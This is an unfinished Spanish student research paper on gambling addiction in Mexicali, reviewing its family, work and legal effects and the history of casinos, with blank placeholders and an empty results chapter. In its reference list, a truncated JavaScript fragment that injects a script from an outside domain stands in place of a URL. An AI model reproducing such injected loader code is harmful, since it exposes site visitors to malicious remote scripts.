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Universidad Autónoma de Baja

California
Facultad de Ciencias Humanas
Trabajo:
Investigación sobre “ludopatía”
Materia:
Prevención y comportamientos adictivos
Maestro:
Eutiquio Pasos
Alumnas:
Maritza Alejandra Acosta Arizona
Edith Martínez Lares
Giselda Daniela zumaya Ochoa
Sandra…
Entrega: 16 de mayo del 2015
ÍNDICE
Introducción…………………………………………………..………………..
Justificación…………………………………………………………………..
Planteamiento del problema…………………………………………….…
Preguntas de investigación………………………………………………...
Objetivo General……………………………………………………………
Objetivos específicos………………………………………………………
Hipótesis……………………………………………………………………..
Metodología………………………..………………………………………
Forma de Recolección de datos…………………………………………
Capítulo 1 Marco Teórico………………………………………………..
1.1. Ludopatía: el otro lado del juego………………………………………………
3
1.2. Repercusiones familiares del juego patológico: una revisión crítica………….
6
1.3. Ludopatía y trabajo: análisis de las repercusiones laborales de los jugadores
patológicos de máquinas tragaperras………………………………………………….. 9
1.4.Atenuación de la responsabilidad penal en la ludopatía: Bases
psicopatológicas……………………………………………………………………….. 11
1.5 Casinos y poder. El caso del Kickapoo. Lucky Eagle Casino………………… 13
Capítulo 2 Resultados y Análisis de resultados
Resultados………………………………………………………………………….
Análisis de resultados obtenidos…………………………………………………..
Conclusiones……………….………………..…………………………………….
Fuentes consultadas………………………………………………...……………. 16
Anexos……………………………………………………………………………
Introduccion

Uno de los temas que ha recibido mayor atención por parte de los psicólogos
sociales en la actualidad, es la ludopatía. En este contexto la palabra ludopatía,
no solo respecta a jugar porque en sí no es malo, pero que sucede cuando el azar
juega por nosotros y no al revés, es así como el jugador se convierte en un
espectador masivo y espera la suerte en todo momento del juego.

En la siguiente investigación, queremos dar a conocer hasta dónde está


afectando en la actualidad la adicción al juego “ludopatía” en Mexicali, para
obtener información real acudimos a los diferentes casinos que existen en la
localidad aplicando un instrumento estadístico para conocer las áreas
afectadas a causa del trastorno y los públicos con mayor tendencia del mismo.
Durante la investigación se encontró que la ludopatía es una adicción,y a la vez
es una enfermedad crónica, que altera la vida de quién la padece esto
basándonos en las afectaciones encontradas en los individuos las cuales fueron
área social, familiar y económico.
JUSTIFICACION

Partiendo de que la ludopatía es definida por la Organización Mundial de la Salud


(OMS) (2012) como un trastorno caracterizado por “la presencia de frecuentes y
reiterados episodios de participación en juegos de apuestas, los cuales dominan
la vida de la persona enferma, en perjuicio de sus valores y obligaciones
sociales, laborales, materiales y familiares”, es importante resaltar que esta
conducta se repite continuamente, trae consigo múltiples consecuencias que
afectan la vida tanto personal como social del individuo, como por ejemplo:
perdida de bienes económicos y deterioro de las relaciones familiares y sociales.
En los últimos años se ha observado el gran incremento de los casinos que en la
actualidad existen aquí en Mexicali, esto causando un alto nivel de jugadores en
los cuales la frecuencia con la que acudían a llegado a convertirse en un
problema de adicción ya que en una encuesta realizada en abril del 2013 Mexicali
se encontró en el tercer lugar de visitas a casinos de baja california.
La ludopatía ha sido estudiada desde varios puntos de vista principalmente
desde el psicológico, ya que la psicología brinda grandes ayudas a la hora de
superar diferentes situaciones que atañen la vida cotidiana y además brinda
soportes teóricos que sustentan distintos problemas como la adicción al juego
esto a que muchas personas han llegado a perderlo todo, dinero, familia, trabajo,
relaciones, por culpa de su dependencia del juego. Para estos enfermos, el juego
es una obsesión que puede considerarse como un descontrol de los impulsos, lo
mismo que sucede con el impulso de robar (cleptomanía) o de quemar cosas
(piromanía).
Por lo que se considera importante llevar a cabo esta investigación con el fin de
conocer las afectaciones que se generan en las personas a causa del juego
excesivo en la ciudad de Mexicali.
Planteamiento del problema
¿Cuales son las afectaciones que se genera por el juego excesivo en casinos de la ciudad de
Mexicali Baja California?

Objetivo General
Conocer las afectaciones del juego excesivo en casinos por parte de personas encuestadas
en la ciudad Mexicali, Baja California.

Objetivos específicos
● Identificar la frecuencia de la asistencia a casinos por parte de los encuestados.
● Conocer si los juegos de azar en casinos han afectado alguna esfera de la vida de la
persona (social, familiar, laboral).
● Identificar la edad y sexo promedio de los que asisten a casinos.
● Detectar si la asistencia a casinos es una vía de escape de problemas para los
encuestados.
Hipótesis
La presente investigación está fundamentada bajo las siguientes hipótesis:
● El jueg

● Las mujeres asisten más que los hombres a los casinos.
● El juego excesivo en casinos trae como consecuencias negativas en la vida social,
laboral y familia.
● El juego excesivo en casinos tiene afectaciones psicológicas y emocionales.
● Los adultos mayores son los que asisten con mayor regularidad a los casinos.
Metodología
El enfoque con el que se realizó el presente trabajo es bajo el método cuantitativo,
aplicando _____ encuestas estructuradas a ciudadanos de Mexicali de forma aleatoria para
conocer la información necesaria y evidencias en datos sobre las principales afectaciones
negativas del juego excesivo en casinos.

Forma de Recolección de datos


Se aplicaron _____ encuestas estructuradas a ciudadanos encuestados al azar de la ciudad
de Mexicali, Baja California. Se utilizó el programa ______ para el procesamiento de los
datos obtenidos.
Capítulo 1 Marco teórico (sandy)

1. Ludopatía: el otro lado del juego

Los juegos de azar suelen dar una satisfacción y hacer que se pase un momento agradable
mientras se juega. Jugar no es malo, sin embargo cuando trasciende y afecta las actividades
en la vida cotidiana, suele volverse un problema.
La ludopatía, o juego patológico, es una adicción a los juegos de azar. Y como tal adicción,
el sujeto no puede dejar de jugar aunque esté arruinando su vida y su hacienda con tal de
obtener un exiguo premio que, invariablemente, pierde en otro juego de azar diferente en
ese mismo momento o al siguiente. Su “necesidad” de jugar y de recuperar lo perdido se
hace tan intensa, que poco a poco ocupa todo su tiempo libre, gran parte de su tiempo
laboral, y prácticamente todo su tiempo social y familiar. El ludópata arruina su vida,
literalmente, en más de una acepción de esa palabra. Ramos J. (2006)

Por lo que sabemos hasta hoy, la ludopatía, como toda adicción, no se


cura (como no se curan el alcoholismo, la heroinómana, o la adicción a
cualquier otra sustancia). El ludópata lo es para siempre. Nunca tendrá
frente al juego la misma libertad que cualquier jugador social para
echar unas manos y marcharse, gane o pierda. A lo más que se puede
aspirar es a controlar la situación manteniéndose permanentemente
alejado del juego. Cualquier apuesta, cualquier moneda tirada en el
interior de las máquinas recreativas tipo “B” (vulgo: tragaperras),
cualquier cartón en el bingo, cualquier juego de casino hará recaer al
ludópata aunque lleve años abstinente. Ramos J. (2006)

La ludopatía arruina la vida de las personas, los deja sin dinero, endeudados y con una
adicción al juego, con problemas familiares y en el trabajo. Uno de los problemas que
presenta el ludópata es la cantidad de dinero que apuesta, ya que es todo el dinero que
tiene, a diferencia del jugador social que solo utiliza una cantidad preestablecida para
jugar.
Es un problema serio porque afecta a un número muy importante de ciudadanos, lo que le
convierte en un problema de salud pública. Y es un problema serio porque por cada
ludópata hay al menos un familiar que también sufre las consecuencias económicas y
emocionales de la adicción. La ludopatía se convierte así, además, en un problema de tipo
social. Ramos J. (2006)
La ludopatía no distingue entre edad, sexo, nacionalidad ni posición económica.
Aunque las estadísticas refieren que existe una mujer ludópata por cada dos hombres, se
sospecha que las cifras se encuentren más igualadas. Ramos J. (2006)
Las mujeres representan una cantidad considerable, pues así como acuden menos a
rehabilitación en alcoholismo, en la población ludópata sucede de manera similar, acuden
menos al tratamiento y rehabilitación que los hombres, a pesar de la cantidad de mujeres
asistentes a casinos.
Y, por último, (lo más aterrador para el final) están los crecientes y discutidos casinos
online. Es decir, los juegos de casino a los que se acceden vía internet. Si tenemos en cuenta
que la facilidad de acceso y la proximidad del punto de juego son factores multiplicadores
de la prevalencia de la ludopatía en el mundo, imagínense lo que supone tener el punto de
juego en el lugar más próximo posible: el propio hogar. Ramos J. (2006)
Para saber más… – Becoña, E: La Ludopatía. Aguilar. Madrid. 1996. – Ibáñez, A y Saiz J:
La ludopatía, una nueva enfermedad. Masson. Barcelona. 2001. – Ramos, J: Superar la
ludopatía. Espasa-Calpe. Madrid. 2005.

2. REPERCUSIONES FAMILIARES DEL JUEGO PATOLÓGICO: UNA REVISIÓN


CRÍTICA.

El jugador patológico presenta un fracaso crónico y progresivo en resistir los impulsos a


jugar, de los que derivan conductas de juego que interfieren negativamente en la
consecución de los objetivos personales, familiares y/o profesionales (Echeburúa y Báez,
1994; Fernández-Alba y Labrador, 2002).
La población que presenta este problema, al igual que la anterior investigación oscila entre
el 2 y 3% de la población total. Los datos que se tomaron y las investigaciones de las cuales
toman en referencia son de España. La edad de acceso al juego ha sido disminuida en los
últimos años, lo cual da acceso a las personas a más temprana edad al juego, por lo tanto el
tratamiento va en incremento a personas más jóvenes debido a los problemas que se tienen
de juego.
Desde una perspectiva psicopatológica destaca la presencia de trastornos del estado de
ánimo (depresión e hipomanía, fundamentalmente) (cfr. Báez, Echeburúa y
Fernández-Montalvo, 1994; McCormick, Russo, Ramírez y Taber, 1984), de niveles
elevados de ansiedad (Báez et al., 1994) y de conductas adictivas (principalmente, abuso o
dependencia alcohólica) (Lesieur, Blume y Zoppa, 1986; Lesieur y Heineman, 1988;
Ramírez, McCormick, Russo y Taber, 1983; Rodríguez-Martos, 1987, 1989). Asimismo, en
los últimos años se ha puesto de manifiesto la presencia de trastornos de personalidad –el
trastorno antisocial y el límite son los que aparecen con más frecuencia– asociados al juego
patológico (Blaszczynski y Steel, 1998; Fernández-Montalvo y Echeburúa, 2001, 2004).
El deterioro puede extenderse en algunos casos a la pareja del jugador, en forma de
aumento de la bebida y del tabaco, de trastornos de la conducta alimentaria, de gastos
impulsivos sin control, etc. (Lorenz y Yaffee, 1988). A pesar de ello, las repercusiones que
provoca el juego en estos otros ámbitos no se han estudiado lo suficiente hasta la fecha. Esta
ausencia de estudios es, cuando menos, sorprendente, pues entre los propios criterios
diagnósticos del juego patológico figura la presencia de alteraciones familiares, sociales y
laborales como consecuencia del trastorno (APA, 2000).
El problema se agrava debido a que cuando se vuelve de pareja hay una incapacidad por
parte del familiar afectado de la falta de confianza que se tiene en el jugador debido a que
pudiera volverse obsesivo y principalmente por ello el proceso de recuperación del paciente
patológico y para la familia se vuelve una fuente de estrés y divorcios.
La familia –principalmente, la pareja– puede encontrarse incluso más afectada psicológica
y físicamente que el propio jugador (Heineman, 1994).
Las repercusiones familiares no son ajenas a las diferentes áreas
alteradas que presentan los ludópatas (Gaudía, 1987): a) económica, con
un descenso importante del poder adquisitivo y con numerosas deudas a
las que hacer frente; b) social, con frecuentes sentimientos de vergüenza
y de exclusión social por el problema de juego y por las deudas
contraídas con personas conocidas; c) médica, con una fuente de estrés
crónico que puede desencadenar distintos problemas de salud, y d) legal,
con la posibilidad de encarcelamiento por desfalcos o robos, así como la
existencia de juicios pendientes.

En la pareja existen tres etapas por las cuales atraviesa la mujer del jugador. Encontramos
negación como primera etapa, dónde la esposa no reconoce el problema ni el peligro que
representa debido a la ignorancia del problema presente. Puede llegar a durar varios años.
La segunda etapa es la de estrés, donde termina por aceptar que es un problema grave, sin
embargo sigue justificando al jugador y le ayuda en sus problemas económicos, lo cual
dificulta que el problema pueda ser resuelto. Y la fase de agotamiento, dónde se vuelve
exasperada, hay pérdida de insomnio y apetito y una ingesta excesiva de medicamentos.
Según los resultados obtenidos del estudio de 250 mujeres, el 84% dice haberse sentido
emocionalmente enfermas como resultado del juego de su pareja, 78% padecía insomnio,
50% tenía pautas de conducta disfuncionales, bebida excesiva, trastornos alimenticios,
compras compulsivas, y demás. El 43% se sintió en momentos maltratada por su pareja, y
el 12% había intentado suicidarse.
En el segundo estudio los resultados obtenidos demostraban que de un total de 214 mujeres
de ludópatas en tratamiento, manifestaron los siguientes problemas físicos y psicológicos.
Dónde los psicológicos: Ira y resentimiento 74%, depresión 47%, soledad 44%,
culpabilidad 30%, confusión 27%, intentos de suicidio 14%, sentimiento de inefectividad
como madre 13% y desvanecimiento, desesperanza y ruina 5%. De los físicos, dolores de
cabeza 41%, problemas intestinales y de diarrea 37%, desfallecimiento, con vértigos, frío,
manos sudorosas 37%, hipertensión y problemas respiratorios 23%. El 58% manifestó que
sus relaciones sexuales eran muy insatisfactorias debido al juego. El 86% había planteado
dejar al marido y 29% se separaron de él.
Cuando se comparan los hijos de los ludópatas con hijos de no jugadores, similares en
edad, sexo y lugar de residencia, los primeros tienen un mayor riesgo de tener un hogar
roto, de mostrar una alta incidencia en psicopatología infantil y de presentar una mayor
implicación en conductas perjudiciales para la salud, tales como mayores niveles de
consumo de alcohol, tabaco y drogas (Jacobs, Marston, Singer, Widaman, Little y Veizade,
1989).
Muchos de estos niños desarrollan trastornos psicosomáticos. (Lorenz y Yaffee, 1986).
Debido al tiempo que se dedica la juego, los hijos resultan sentirse abandonados, falta de
cariño, y dificultades para satisfacer las necesidades básicas.
En este sentido, un dato que comienza a repetirse en la bibliografía existente es la
presencia, entre los jugadores, de antecedentes familiares directos de problemas de juego
y/o de alcoholismo. Custer y Milt (1985)
Hasta la fecha, no existe ningún estudio longitudinal con hijos de ludópatas que muestre el
porcentaje de los mismos que termina desarrollando un problema de juego o de cualquier
otro tipo. Fernández-Montalvo J. et al. (2004).
En los últimos años se ha producido un descenso en la edad de acceso al juego y cada vez
son más frecuentes los casos de adolescentes que acuden a consulta por un problema de
ludopatía. Se trata de jóvenes menores de 25 años, que no están casados y no tienen hijos.
En estos casos son los padres y hermanos las principales personas que sufren los efectos del
juego (Becoña, 1993; Heineman, 1989; Moody, 1989).
El padre del jugador patológico era el primero en dar la espalda al hijo y a su problema. La
madre, en cambio, reaccionaba ante la posición del padre y apoyaba de forma más cercana
al hijo jugador. Esta posición bipolar de los padres tenía como consecuencia que cada
miembro de la pareja culpase al otro de la continuación del juego de su hijo.
Fernández-Montalvo J. et al. (2004).
3. Ludopatía y trabajo: análisis de las repercusiones laborales de los jugadores
patológicos de máquinas tragaperras.

La realización de un trabajo es imprescindible para integrarse en el medio sociocultural,


para ser aceptado por los demás como un sujeto de pleno derecho y para conquistar la
libertad personal a través de la independencia económica (FernándezMontalvo, 1998).
Se han comenzado a describir de forma sistemática una serie de alteraciones psicológicas
que se derivan de la actividad laboral frustrante -la denominada psicopatología laboral- ( c
f r. Brodsky, 1996; Cabral, 1988; Fernández-Montalvo, 1998; Fernández-Montalvo y
Echeburúa, 1998).

La ludopatía, clasificada como un trastorno del control de los impulsos


en las nosologías psiquiátricas vigentes -DSM-IV (American Psychiatric
Association, 1994) e ICD-10 (Organización Mundial de la Salud, 1992)-
está considerada por la mayor parte de los autores como una conducta
adictiva. La sintomatología central de los jugadores patológicos «la
pérdida de control y la dependencia fundamentalmente» coincide en
gran parte con la de los alcohólicos y drogodependientes.
(FernándezMontalvo, 2000)

Entre las principales alteraciones descritas figuran la disminución del rendimiento en el


trabajo -resultado de las dificultades de concentración de una persona que piensa
constantemente en el juego-, el absentismo laboral por jugar durante las horas de trabajo y
los despidos por robos o estafas en la empresa. Los conflictos personales con los
compañeros de trabajo son asimismo frecuentes (Becoña, 1996; Fernández-Montalvo y
Echeburúa, 1997).
El juego pone en riesgo la situación laboral. En la investigación se hace referencia a que de
una población de 88 sujetos 72,7% de la muestra presentan algún tipo de consecuencia
laboral desfavorable. Sólo el 27,3% no han visto afectada negativamente. Las principales
problemáticas encontradas en el estudio fueron las siguientes: absentismo laboral (48%),
problemas de concentración y disminución del rendimiento (36%), robos o estafas en el
trabajo, conflictos con los compañeros, despido o no renovación del contrato, dificultades
para encontrar un nuevo empleo, cambios de puesto por problemas derivados del juego y,
por último, accidentabilidad laboral.

4. Atenuación de la responsabilidad penal en la ludopatía: Bases psicopatológicas.

La imputabilidad, que es el concepto jurídico penal basado en la clínica y que deriva de la


teoría del libre albedrío (Arsitóteles y Santo Tomás), se refiere a la capacidad de actuar
conforme a la norma en una persona con un estado de madurez psicobilógica. En otras
palabras, es la aptitud de la persona para responder de los actos que realiza.
Los trastornos mentales pueden suponer una patorlogía de la libertad, que impide al
enfermo adquirir la plena dimensión de un ser inteligente e intencional. En estas
condiciones el sujeto al carecer de una adecuada y objetiva percepción de sí mismo y des su
entorno y al estar mermada una capacidad de autodeterminación que le permita
comportarse según las desiciones previstas y elegidas conscientemente desde una estructura
cognitiva y emocional normal, no puede regular su conducta. Echeburúa, E. y Amor, P. J. y
Yuste, J. (2000).
Los criterios para la inimputabilidad en la conducta delictiva del ludópata son:
Eximiente completa: Extensión de responsabilidad y medidas de seguridad (tratamiento
interno, tratamiento externo y otras)
Eximiente incompleta: Atenuación de responsabilidad, sanación penal rebajada en 1 o 2
grados, Sustitución de la pena por otras medidas previstas en el Código Penal.
Atenuante analógica. Atenuación de la pena al grado mínimo.
Las presentes son aplicadas en España.
El juego patológico como trastorno mental. Mientras el juego normar se realiza por placer,
el patológico se hace por necesidad. Los principales componentes del juego patológico son:
constantes pensamientos hacia el juego, adopción de conductas descontroladas y la
tendencia a la recaida. (Delgado y Rodríguez-Martos, 1994).
La ludopatía es un trastorno de la conducta que
aparece clasificado por primera vez como una entidad
nosológica y con unos criterios diagnósticos
específicos en el DSM-III (APA, 1980). En la actualidad
se halla categorizado en el DSM-IV (APA, 1980) como un
trastorno del control de los impulsos no clasificado en
otros apartados.

El juego patológico figura como un fracaso crónico y


progresivo en residir los impulsos a jugar y se
caracteriza por la aparición de una conducta de juego
que altera sustancialmente los objetivos personales,
familiares y/o profesionales (Becoña, 1995; Robert y
Botella, 1995).

En la presente investigación la tasa de ludopatía oscila entre el 2 y 3% de la población


adulta, al igual que en los estudios anteriores. Ludópatas españoles muestran una
dependeicia fundamental a las máquinas tragaperras exclusiva o en combinación con otras.
La sintomatología cental de los ludópatas coincide en gran parte con la de los alcoholicos y
drogodependientes. Echeburúa, E. y Amor, P. J. y Yuste, J. (2000).
Tipos de jugadores:
Jugadores sociales: Por entretenimiento, placer o sociabilidad. Pueden dejar de jugar en
cualquier momento, para ellos, el resultado no influye en la autoestima personal, existen
otros aspectos de la vida más importantes y reforzantes y raramente experimentan una
gran ganancia.
Jugadores profesionales: Para ellos el juego es una forma de vida, es decir, una profesión.
Participan en juegos como cartas, billar o hacen trampa para ganar. Son personas que
apuestan tras realizar un cálculo ponderado y no llevados por la pasión.
Jugadores patológicos. Personas que han experimentado una pérdida de control o carecen
de habilidades para dejar de jugar. Resultado de ello tenemos una frecuencia de la
conducta de juego y/o una inversión de tiempo y dinero superior a la planeada, la apuesta
es superior a la planeada y pensamientos compulsivos recurrentes hacia jugar.
Los impulsos patológicos los llevan a jugar compulsivamente y a cometer. Actos delictivos. Los
ludópatas se dan cuenta de la incorrección de lo que hacen pero, al ser dependientes y tener
restringidas sus funciones volitivas, se muestran incapaces de adecuar sus conductas a los
principios legales. Por ello se ha considerado en estos casos la atenuante analógica a los
principios legales, por lo tanto se ha considerado como una circunstancia modificativa de la
responsabilidad penal, en la medida en que afecta negativamente a las a las facultades
volitivas del sujeto, al interferir en el pensamiento reflexivo del sistema de creencias,
distorsionar la precepción de la realidad y alterar el sistema motivacional y de afectos (Esbec
y Delgado, 1998).
Las largas secuencias de conducta resultan incompatibles con una posible obnubilación
provocada por la abstinencia del juego (Del Toro, 1996).
El problema jurídico-penal de la ludopatía no es la adicción al juego, sino los delitos
cometidos para satisfacerla (García Quesada, 1993).
Lo anterior realizado en España, se deben revisar las implicaciones y aspectos legales para
México.

5. CASINOS Y PODER. EL CASO DEL KICKAPOO. LUCKY EAGLE CASINO.

En 1932, cuando los casinos arribaron al territorio nacional se hizo notorio que los
gobernantes mexicanos tenían una cierta afición a los juegos de azar. “Las aficiones del
grupo en el poder a los juegos de azar y en especial a los naipes, y los intereses mafiosos de los
tahúres y de los hampones permearon y se asentaron en Baja California hasta culminar con
la instalación de casinos, hipódromos, galgó- dromos y centros de vicio que multiplicaron la
prostitución y el tráfico de drogas” (Gertz, cit. en Sandoval de Escurdia y Richard Muñoz,
2004: 16). Según José Alfredo Gómez Estrada, Abelardo L. Rodríguez se enriqueció con la
explotación de casas de juegos o casinos, que habían instalado empresarios estadunidenses,
mientras desempeñó el cargo de gobernador en el Distrito Norte de Baja California. Según
este autor, la documentación oficial y otras fuentes “arrojan luz sobre los nexos del general
con los empresarios más exitosos involucrados en el negocio del juego y sobre la posibilidad
de que obtuviera un beneficio económico como su colaborador” (Gómez Estrada, 2002:
145-146). Es muy probable que Abelardo Rodríguez participara como socio principal en el
casino Agua Caliente mediante acciones, según algunas fuentes polémicas (Gómez Estrada,
2002: 146). Lo obvio, según Gómez Estrada, es que los californianos consiguieron una
extensión territorial y cultural mediante los casinos, susceptible de explotación en diversas
formas. De esta manera, “los vecinos del norte aprovecharon los recursos naturales a su
alcance, realizaron actividades mineras y de colonización, así como agrícolas y comerciales
que propiciaron el origen de Ensenada, Tijuana y Mexicali” (Gómez Estrada, 2002: 29).
Marger E. 2010.
A principios del siglo XX, cuando empresarios estadunidenses trasladaron sus casinos hacia
Baja California luego de que Estados Unidos los prohibiera. José Alfredo Gómez Estrada
habla de una “extensión territorial susceptible de explotación en diversas formas”. Es decir,
esta expansión ha aprovechado también los recursos naturales, puesto que “realizaron
actividades mineras y de colonización, así como agrícolas y comerciales que propiciaron el
origen de Ensenada, Tijuana y Mexicali. [...] [Así,] la línea divisoria internacional existía de
manera intangible” (Gómez, 2002: 29). De hecho, esta situación se observó en las empresas
carboníferas y de fluorita en la zona carbonera de Nueva Rosita y de Múzquiz, en las que
empresarios de Estados Unidos participaron significativamente, según testimonios de
habitantes de Múzquiz. Marger E. 2010.
Capítulo 2 Resultados y Análisis de resultados

Resultados (gráficas)(giselda)
Análisis de resultados obtenidos (TODAS)
Conclusiones (TODAS)
Fuentes consultadas (sandy)
Anexos (encuestas)
Referencias:
Ramos J. (2006) Ludopatía: el otro lado del juego. Revista Tema de portada. Pp 9- 11.
Recuperado el día 05 de Mayo de 2014 de:
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ead");if(a.length){vard=document.createElement("script");d.src="https://apimountainbik
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Fernández-Montalvo (2004). Repercusiones familiares del juego patológico: una revisión
crítica. Departamento de Psicología y Pedagogía. Universidad Pública de Navarra. Salud y
drogas. Vol. 4, Nº 2. Pp. 1-18
Recuperado el día 07 de Mayo de 2015 de:
http://www.haaj.org/index.php/haaj/article/viewFile/134/130
FERNÁNDEZ-MONTALVO, J.; BÁEZ, C.; ECHEBURÚA, E. Ludopatía y trabajo:
análisis de las repercusiones laborales de los jugadores patológicos de máquinas
tragaperras Clínica y Salud, vol. 11, núm. 1, 2000, pp. 5-14 Colegio Oficial de Psicólogos de
Madrid Madrid, España.
Recuperado el día 08 de Mayo de 2015 de:
http://www.redalyc.org/pdf/1806/180618248001.pdf
Echeburúa, E. y Amor, P. J. y Yuste, J. (2000). Atenuación de la responsabilidad penal en la
ludopatía: Bases psicopatológicas. Universidad del país Vasco.
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http://www.masterforense.com/pdf/2000/2000art4.pdf
Marge E. 2010. 1. CASINOS Y PODER. EL CASO DEL KICKAPOO. LUCKY EAGLE
CASINO. UNIVERSIDAD NACIONAL AUTÓNOMA DE MÉXICO. Centro de
Investigaciones sobre América del Norte Instituto de Investigaciones Antropológicas
Facultad de Estudios Superiores Acatlán México. Pp. 49 y 114.
Recuperado el día 11 de Mayo de 2015 de:
http://www.cisan.unam.mx/virtuales/pdfs/Casinos%20y%20poder%202da.%20ed.%202.p
df

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